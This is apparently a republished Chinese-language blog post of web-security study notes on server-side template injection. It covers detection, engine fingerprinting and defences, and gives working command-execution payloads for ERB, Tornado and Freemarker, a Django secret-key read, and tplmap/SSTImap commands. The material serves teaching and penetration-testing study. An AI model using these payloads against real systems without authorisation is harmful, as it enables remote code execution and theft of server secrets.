文章总结: 该文档详述了SSTI服务器端模板注入漏洞的原理与攻防技术。核心在于模板引擎将用户输入当作代码执行,常导致RCE。内容涵盖Jinja2、Freemarker等常见引擎的识别与利用方法,介绍了Tplmap等自动化工具,并总结了从识别引擎到获取Shell的完整攻击链。最后提出不信任用户输入、启用沙箱模式等防御建议,适用于渗透测试与安全建设。 综合评分: 88 文章分类: WEB安全,漏洞分析,渗透测试,CTF,实战经验
第74天-WEB攻防学习笔记:SSTI(Server-Side Template Injection)服务器端模板注入
原创
萧瑶 萧瑶
AlphaNet
2026年3月8日 10:44 韩国
在现代 Web 应用开发中,模板引擎(Template Engine)被广泛用于动态渲染页面。例如:Python 的 Jinja2、Tornado、Django Template,Java 的 Freemarker、Thymeleaf,Ruby 的 ERB 等。
模板引擎本质上是一种 将数据填充到模板并渲染为 HTML 的技术。
如果开发者在模板渲染过程中 直接使用用户输入内容作为模板的一部分,攻击者就可能插入恶意模板语句,从而导致 SSTI(Server Side Template Injection)漏洞。
SSTI 是近年来在漏洞赏金、CTF 以及真实渗透测试中非常常见的一类漏洞。一旦利用成功,攻击者往往可以 直接执行服务器端代码(RCE),风险等级极高。
一、SSTI漏洞原理
SSTI(Server-Side Template Injection)服务器端模板注入
其核心问题是:
Web 应用将用户输入的数据直接作为模板代码解析执行。
正常流程:
用户输入 → 后端接收 → 模板引擎渲染 → 返回HTML页面
存在漏洞时:
用户输入(恶意模板语句)
↓
模板引擎解析执行
↓
服务器执行攻击者代码
例如开发者代码:
return render_template("index.html", name=request.args.get("name"))
如果模板内部直接使用:
{{ name }}
攻击者输入:
{{7*7}}
模板引擎执行计算:
49
如果成功执行表达式,则说明 SSTI漏洞存在。
二、常见模板引擎
不同语言使用不同模板引擎,因此 SSTI利用方式也不同。
| 编程语言 | 模板引擎 | | — | — | | Python | Jinja2 / Tornado / Django | | Java | Freemarker / Velocity | | PHP | Twig / Smarty | | Ruby | ERB | | NodeJS | Handlebars / EJS |
在实际渗透测试中,第一步永远是识别模板引擎类型。
三、SSTI漏洞测试
在测试 SSTI 时,一般使用 数学表达式测试。
例如:
{{7*7}}
${7*7}
<%=7*7%>
如果页面返回:
49
则说明模板表达式被执行。
同时可以通过 报错信息、模板语法、页面特征 判断具体模板引擎。
四、不同模板引擎利用示例
1 ERB(Ruby)
ERB 使用 <% %> 语法执行 Ruby 代码。
Payload:
<%= exec 'ls -al' %>
作用:
执行系统命令
返回服务器目录列表。
2 Tornado(Python)
Tornado 模板支持 Python 语法。
测试 Payload:
{{7*7}}
利用 Payload:
blog-post-author-display=user.name}}{{7*7}}
执行系统命令:
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')
最终效果:
执行 Linux 命令
3 Freemarker(Java)
Freemarker 是 Java Web 应用中非常常见的模板引擎。
Payload:
<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
执行系统命令:
ls
返回服务器文件列表。
4 Django Template
Django 模板常见利用方式是 读取敏感配置。
Payload:
{{settings.SECRET_KEY}}
可以读取:
-
SECRET_KEY
-
数据库配置
-
Debug 配置
如果配置不安全,甚至可以进一步实现 远程代码执行。
五、SSTI漏洞利用思路
在真实渗透测试中,SSTI利用通常遵循以下逻辑:
1 确定模板引擎
方法包括:
-
修改参数观察报错信息
-
查看模板语法特征
-
根据返回内容判断模板类型
例如:
| Payload | 可能引擎 | | — | — | | {{7*7}} | Jinja2 / Django | | ${7*7} | Freemarker | | <%= %> | ERB |
2 构造Payload思路
SSTI最终目标通常是 RCE(远程命令执行)。
利用过程一般为:
第一步:寻找可用对象
例如:
字符串
字典
已有变量
例如:
{{config}}
{{request}}
{{self}}
第二步:寻找原生对象
通过对象链访问 Python 原生对象:
object
例如:
__class__
__mro__
__subclasses__
第三步:实例化系统模块
常见目标对象:
os
subprocess
sys
第四步:执行系统命令
最终实现:
RCE
例如:
os.system()
subprocess.Popen()
六、自动化利用工具
如果手工构造 Payload 较困难,可以使用自动化工具。
1 Tplmap
项目地址:
https://github.com/epinna/tplmap
功能:
-
自动识别模板引擎
-
自动检测 SSTI
-
自动利用 RCE
-
支持多种模板
使用示例:
python tplmap.py -u "http://target.com/?name=*"
2 SSTImap
项目地址:
https://github.com/vladko312/SSTImap
功能:
-
自动化 SSTI 漏洞利用
-
支持 Jinja2、Twig、Freemarker 等
-
自动获取 Shell
示例:
python sstimap.py -u "http://target.com/?name=test"
七、SSTI漏洞挖掘思路
SSTI 常见出现在 动态模板渲染功能中。
重点关注以下功能点:
1 用户可控模板内容
例如:
邮件模板
CMS模板
博客主题
自定义页面
2 用户输入参与模板渲染
例如:
昵称
评论
文章内容
搜索结果
3 动态模板系统
例如:
Flask
Django
Spring
Ruby on Rails
在漏洞挖掘过程中,可以结合以下方法:
-
模糊测试(Fuzz)
-
报错信息分析
-
模板语法识别
-
自动化工具检测
相关漏洞挖掘案例:
https://forum.butian.net/share/1229
八、SSTI漏洞安全影响
如果 SSTI 成功利用,攻击者可能:
- 读取服务器敏感信息
例如:
配置文件
数据库密码
SECRET_KEY
- 执行系统命令
例如:
ls
cat /etc/passwd
-
获取 WebShell
-
服务器完全控制
因此在漏洞评级中,SSTI通常被评为:
高危 / 严重漏洞
九、防御方案
开发人员可以通过以下方式防御 SSTI:
1 不信任用户输入
避免:
render(user_input)
2 使用安全模板模式
例如:
Sandbox
Safe Rendering
3 过滤模板语法
过滤关键字符:
{{ }}
${ }
<% %>
4 最小权限原则
限制模板访问:
系统命令
文件系统
敏感配置
十、总结
SSTI(服务器端模板注入)是一种 利用模板引擎解析机制实现代码执行的高危漏洞。
攻击者通过构造恶意模板语句,使服务器在渲染模板时执行攻击代码,从而达到:
-
信息泄露
-
命令执行
-
WebShell 获取
-
服务器控制
在渗透测试中,SSTI的核心思路可以总结为:
识别模板引擎
↓
寻找可用对象
↓
访问原生对象
↓
实例化系统模块
↓
执行系统命令
随着现代 Web 框架大量使用模板引擎,SSTI 已成为 漏洞挖掘和 CTF 中的重要攻击面之一,安全研究人员需要熟练掌握其检测方法与利用技巧。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第74天-WEB攻防学习笔记:SSTI(Server-Side Template Injection)服务器端模板注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论